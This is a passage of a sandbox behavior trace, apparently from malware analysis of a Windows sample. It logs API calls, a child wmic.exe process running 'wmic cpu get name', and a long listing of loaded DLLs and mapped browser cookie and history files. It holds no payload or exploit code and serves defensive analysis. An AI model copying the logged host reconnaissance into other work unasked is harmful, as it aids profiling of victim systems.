lpTargetHandle=0x2878f790, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x2878f790*=0xdc) returned 1 [0107.413] VirtualQuery (in: lpAddress=0x2878f798, lpBuffer=0x2878f798, dwLength=0x30 | out: lpBuffer=0x2878f798*(BaseAddress=0x2878f000, AllocationBase=0x28590000, AllocationProtect=0x4, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0107.413] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0xe0 [0107.413] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0xe4 [0107.413] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) Thread: id = 7 os_tid = 0xfa4 Thread: id = 8 os_tid = 0xfb4 Process: id = "2" image_name = "wmic.exe" filename = "c:\\windows\\system32\\wbem\\wmic.exe" page_root = "0x447ad000" os_pid = "0xfb8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0xf64" cmd_line = "wmic cpu get name" cur_dir = "C:\\Users\\kEecfMwgj\\Desktop\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f0ba" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1234 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1235 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 1236 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 1237 start_va = 0x130000 end_va = 0x1affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 1238 start_va = 0x77880000 end_va = 0x77a28fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1239 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 1240 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1241 start_va = 0xff9b0000 end_va = 0xffa3cfff monitored = 1 entry_point = 0xff9fcc30 region_type = mapped_file name = "wmic.exe" filename = "\\Windows\\System32\\wbem\\WMIC.exe" (normalized: "c:\\windows\\system32\\wbem\\wmic.exe") Region: id = 1242 start_va = 0x7feffba0000 end_va = 0x7feffba0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1243 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 1244 start_va = 0x7fffffd9000 end_va = 0x7fffffd9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 1245 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 1246 start_va = 0x1b0000 end_va = 0x40ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 1247 start_va = 0x77660000 end_va = 0x7777efff monitored = 0 entry_point = 0x77675340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1248 start_va = 0x7fefd920000 end_va = 0x7fefd98bfff monitored = 0 entry_point = 0x7fefd922780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1249 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1250 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1251 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1252 start_va = 0x20000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 1253 start_va = 0x50000 end_va = 0xb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1254 start_va = 0x7feff870000 end_va = 0x7feff94afff monitored = 0 entry_point = 0x7feff890760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 1255 start_va = 0x7feff7d0000 end_va = 0x7feff86efff monitored = 0 entry_point = 0x7feff7d25a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 1256 start_va = 0x7fefdef0000 end_va = 0x7fefdf0efff monitored = 0 entry_point = 0x7fefdef60e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 1257 start_va = 0x7feffa60000 end_va = 0x7feffb8cfff monitored = 0 entry_point = 0x7feffaaed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 1258 start_va = 0x7fefdf10000 end_va = 0x7fefe112fff monitored = 0 entry_point = 0x7fefdf33330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 1259 start_va = 0x7feff980000 end_va = 0x7feff9e6fff monitored = 0 entry_point = 0x7feff98b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 1260 start_va = 0x77780000 end_va = 0x77879fff monitored = 0 entry_point = 0x7779a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1261 start_va = 0x7fefef80000 end_va = 0x7fefef8dfff monitored = 0 entry_point = 0x7fefef81080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 1262 start_va = 0x7fefe120000 end_va = 0x7fefe1e8fff monitored = 0 entry_point = 0x7fefe19a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 1263 start_va = 0x7feff550000 end_va = 0x7feff626fff monitored = 0 entry_point = 0x7feff553274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 1264 start_va = 0x7fef4dc0000 end_va = 0x7fef4e02fff monitored = 0 entry_point = 0x7fef4de1b50 region_type = mapped_file name = "framedynos.dll" filename = "\\Windows\\System32\\framedynos.dll" (normalized: "c:\\windows\\system32\\framedynos.dll") Region: id = 1265 start_va = 0x7fefd690000 end_va = 0x7fefd6b4fff monitored = 0 entry_point = 0x7fefd699658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 1266 start_va = 0x7feff630000 end_va = 0x7feff6a0fff monitored = 0 entry_point = 0x7feff641e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 1267 start_va = 0x7feffa10000 end_va = 0x7feffa5cfff monitored = 0 entry_point = 0x7feffa11070 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 1268 start_va = 0x7feff540000 end_va = 0x7feff547fff monitored = 0 entry_point = 0x7feff541504 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 1269 start_va = 0x7fefd660000 end_va = 0x7fefd66afff monitored = 0 entry_point = 0x7fefd661030 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 1270 start_va = 0x7fefb2c0000 end_va = 0x7fefb2e6fff monitored = 0 entry_point = 0x7fefb2c98bc region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 1271 start_va = 0x7fefb2b0000 end_va = 0x7fefb2bafff monitored = 0 entry_point = 0x7fefb2b1198 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 1272 start_va = 0x1b0000 end_va = 0x2cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 1273 start_va = 0x310000 end_va = 0x40ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000310000" filename = "" Region: id = 1274 start_va = 0x1b0000 end_va = 0x2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 1275 start_va = 0x2c0000 end_va = 0x2cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002c0000" filename = "" Region: id = 1276 start_va = 0x410000 end_va = 0x597fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000410000" filename = "" Region: id = 1277 start_va = 0xc0000 end_va = 0xe8fff monitored = 0 entry_point = 0xc1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1278 start_va = 0xc0000 end_va = 0xe8fff monitored = 0 entry_point = 0xc1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1279 start_va = 0x7feff950000 end_va = 0x7feff97dfff monitored = 0 entry_point = 0x7feff951010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1280 start_va = 0x7feff3d0000 end_va = 0x7feff4d8fff monitored = 0 entry_point = 0x7feff3d1064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 1281 start_va = 0x5a0000 end_va = 0x720fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005a0000" filename = "" Region: id = 1282 start_va = 0x730000 end_va = 0x1b2ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000730000" filename = "" Region: id = 1283 start_va = 0xc0000 end_va = 0xcffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wmic.exe.mui" filename = "\\Windows\\System32\\wbem\\en-US\\WMIC.exe.mui" (normalized: "c:\\windows\\system32\\wbem\\en-us\\wmic.exe.mui") Region: id = 1284 start_va = 0xd0000 end_va = 0xd0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 1285 start_va = 0xe0000 end_va = 0xe0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 1286 start_va = 0x1b30000 end_va = 0x1bacfff monitored = 0 entry_point = 0x1b3cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 1287 start_va = 0x1b30000 end_va = 0x1bacfff monitored = 0 entry_point = 0x1b3cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 1288 start_va = 0x7fefd6c0000 end_va = 0x7fefd6cefff monitored = 0 entry_point = 0x7fefd6c1010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 1289 start_va = 0x1cd0000 end_va = 0x1d4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001cd0000" filename = "" Region: id = 1290 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 1291 start_va = 0xf0000 end_va = 0xf0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 1292 start_va = 0x7fefde50000 end_va = 0x7fefdee8fff monitored = 0 entry_point = 0x7fefde51c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 1293 start_va = 0x100000 end_va = 0x100fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 1294 start_va = 0x7fef9bd0000 end_va = 0x7fef9bddfff monitored = 0 entry_point = 0x7fef9bd5500 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll") Region: id = 1295 start_va = 0x7fef9e70000 end_va = 0x7fef9ee6fff monitored = 0 entry_point = 0x7fef9eae7f0 region_type = mapped_file name = "wbemcomn2.dll" filename = "\\Windows\\System32\\wbemcomn2.dll" (normalized: "c:\\windows\\system32\\wbemcomn2.dll") Region: id = 1296 start_va = 0x7fefd230000 end_va = 0x7fefd251fff monitored = 0 entry_point = 0x7fefd235d30 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 1297 start_va = 0x1d50000 end_va = 0x201efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1298 start_va = 0x7fef4440000 end_va = 0x7fef4613fff monitored = 0 entry_point = 0x7fef4476b00 region_type = mapped_file name = "msxml3.dll" filename = "\\Windows\\System32\\msxml3.dll" (normalized: "c:\\windows\\system32\\msxml3.dll") Region: id = 1299 start_va = 0x2020000 end_va = 0x224ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002020000" filename = "" Region: id = 1300 start_va = 0x1b30000 end_va = 0x1caffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001b30000" filename = "" Region: id = 1301 start_va = 0x2250000 end_va = 0x247ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002250000" filename = "" Region: id = 1302 start_va = 0x2020000 end_va = 0x219ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002020000" filename = "" Region: id = 1303 start_va = 0x21d0000 end_va = 0x224ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021d0000" filename = "" Region: id = 1304 start_va = 0x2250000 end_va = 0x236ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002250000" filename = "" Region: id = 1305 start_va = 0x2400000 end_va = 0x247ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002400000" filename = "" Region: id = 1306 start_va = 0x2480000 end_va = 0x262ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002480000" filename = "" Region: id = 1307 start_va = 0x2630000 end_va = 0x27bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002630000" filename = "" Region: id = 1308 start_va = 0x1b30000 end_va = 0x1beffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 1309 start_va = 0x1c30000 end_va = 0x1caffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001c30000" filename = "" Region: id = 1310 start_va = 0x27c0000 end_va = 0x2bbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000027c0000" filename = "" Region: id = 1311 start_va = 0x110000 end_va = 0x110fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msxml3r.dll" filename = "\\Windows\\System32\\msxml3r.dll" (normalized: "c:\\windows\\system32\\msxml3r.dll") Region: id = 1312 start_va = 0x2d0000 end_va = 0x2effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002d0000" filename = "" Region: id = 1313 start_va = 0x7fefdba0000 end_va = 0x7fefdd17fff monitored = 0 entry_point = 0x7fefdba10e0 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\System32\\urlmon.dll" (normalized: "c:\\windows\\system32\\urlmon.dll") Region: id = 1314 start_va = 0x7fefdd20000 end_va = 0x7fefde49fff monitored = 0 entry_point = 0x7fefdd210d4 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\System32\\wininet.dll" (normalized: "c:\\windows\\system32\\wininet.dll") Region: id = 1315 start_va = 0x7feff170000 end_va = 0x7feff3c8fff monitored = 0 entry_point = 0x7feff171340 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll") Region: id = 1316 start_va = 0x7fefda30000 end_va = 0x7fefdb9cfff monitored = 0 entry_point = 0x7fefda310b4 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 1317 start_va = 0x7fefd870000 end_va = 0x7fefd87efff monitored = 0 entry_point = 0x7fefd871020 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 1318 start_va = 0x120000 end_va = 0x121fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 1319 start_va = 0x7fefc300000 end_va = 0x7fefc4f3fff monitored = 0 entry_point = 0x7fefc48c924 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll") Region: id = 1320 start_va = 0x2b0000 end_va = 0x2b0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "windowsshell.manifest" filename = "\\Windows\\WindowsShell.Manifest" (normalized: "c:\\windows\\windowsshell.manifest") Region: id = 1321 start_va = 0x2f0000 end_va = 0x2f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002f0000" filename = "" Region: id = 1322 start_va = 0x7fefe1f0000 end_va = 0x7fefef77fff monitored = 0 entry_point = 0x7fefe26cebc region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 1323 start_va = 0x2b0000 end_va = 0x2b0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002b0000" filename = "" Region: id = 1324 start_va = 0x7fefd7d0000 end_va = 0x7fefd7defff monitored = 0 entry_point = 0x7fefd7d19b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 1325 start_va = 0x300000 end_va = 0x30ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "index.dat" filename = "\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\index.dat") Region: id = 1326 start_va = 0x1bf0000 end_va = 0x1bf7fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "index.dat" filename = "\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\windows\\cookies\\index.dat") Region: id = 1327 start_va = 0x1c00000 end_va = 0x1c0ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "index.dat" filename = "\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\windows\\history\\history.ie5\\index.dat") Region: id = 1328 start_va = 0x7fefcee0000 end_va = 0x7fefcf3afff monitored = 0 entry_point = 0x7fefcee6940 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 1329 start_va = 0x2bc0000 end_va = 0x2e2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002bc0000" filename = "" Region: id = 1330 start_va = 0x7fefc120000 end_va = 0x7fefc175fff monitored = 0 entry_point = 0x7fefc12bbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 1331 start_va = 0x2e30000 end_va = 0x307ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002e30000" filename = "" Region: id = 1332 start_va = 0x2020000 end_va = 0x20fefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002020000" filename = "" Region: id = 1333 start_va = 0x2120000 end_va = 0x219ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002120000" filename = "" Region: id = 1334 start_va = 0x2660000 end_va = 0x26dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002660000" filename = "" Region: id = 1335 start_va = 0x2740000 end_va = 0x27bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002740000" filename = "" Region: id = 1336 start_va = 0x7fefd0c0000 end_va = 0x7fefd0d7fff monitored = 0 entry_point = 0x7fefd0c3b48 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 1337 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 1338 start_va = 0x2250000 end_va = 0x2294fff monitored = 0 entry_point = 0x2251064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 1339 start_va = 0x22f0000 end_va = 0x236ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022f0000" filename = "" Region: id = 1340 start_va = 0x2250000 end_va = 0x2294fff monitored = 0 entry_point = 0x2251064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 1341 start_va = 0x2250000 end_va = 0x2294fff monitored = 0 entry_point = 0x2251064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 1342 start_va = 0x2250000 end_va = 0x2294fff monitored = 0 entry_point = 0x2251064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 1343 start_va = 0x2250000 end_va = 0x2294fff monitored = 0 entry_point = 0x2251064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 1344 start_va = 0x7fefcdc0000 end_va = 0x7fefce06fff monitored = 0 entry_point = 0x7fefcdc1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 1345 start_va = 0x7fefd7b0000 end_va = 0x7fefd7c3fff monitored = 0 entry_point = 0x7fefd7b10e0 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 1346 start_va = 0x2bd0000 end_va = 0x2c4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002bd0000" filename = "" Region: id = 1347 start_va = 0x2db0000 end_va = 0x2e2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002db0000" filename = "" Region: id = 1348 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 1349 start_va = 0x2490000 end_va = 0x250ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002490000" filename = "" Region: id = 1350 start_va = 0x25b0000 end_va = 0x262ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000025b0000" filename = "" Region: id = 1351 start_va = 0x2c60000 end_va = 0x2cdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002c60000" filename = "" Region: id = 1352 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 1353 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 1354 start_va = 0x7fef6cd0000 end_va = 0x7fef6ce2fff monitored = 0 entry_point = 0x7fef6cd7b68 region_type = mapped_file name = "msoxmlmf.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSOXMLMF.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\msoxmlmf.dll") Region: id = 1355 start_va = 0x7fef8c20000 end_va = 0x7fef8c38fff monitored = 0 entry_point = 0x7fef8c2ee50 region_type = mapped_file name = "vcruntime140.dll" filename = "\\Windows\\System32\\vcruntime140.dll" (normalized: "c:\\windows\\system32\\vcruntime140.dll") Region: id = 1356 start_va = 0x7fef8c10000 end_va = 0x7fef8c13fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-crt-runtime-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-runtime-l1-1-0.dll") Region: id = 1357 start_va = 0x7fef8b10000 end_va = 0x7fef8c01fff monitored = 0 entry_point = 0x7fef8b19060 region_type = mapped_file name = "ucrtbase.dll" filename = "\\Windows\\System32\\ucrtbase.dll" (normalized: "c:\\windows\\system32\\ucrtbase.dll") Region: id = 1358 start_va = 0x7fef8b00000 end_va = 0x7fef8b02fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-timezone-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-timezone-l1-1-0.dll") Region: id = 1359 start_va = 0x7fef8af0000 end_va = 0x7fef8af2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-file-l2-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-file-l2-1-0.dll") Region: id = 1360 start_va = 0x7fef8ae0000 end_va = 0x7fef8ae2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-localization-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-localization-l1-2-0.dll") Region: id = 1361 start_va = 0x7fef9260000 end_va = 0x7fef9262fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 1362 start_va = 0x7fef8ad0000 end_va = 0x7fef8ad2fff 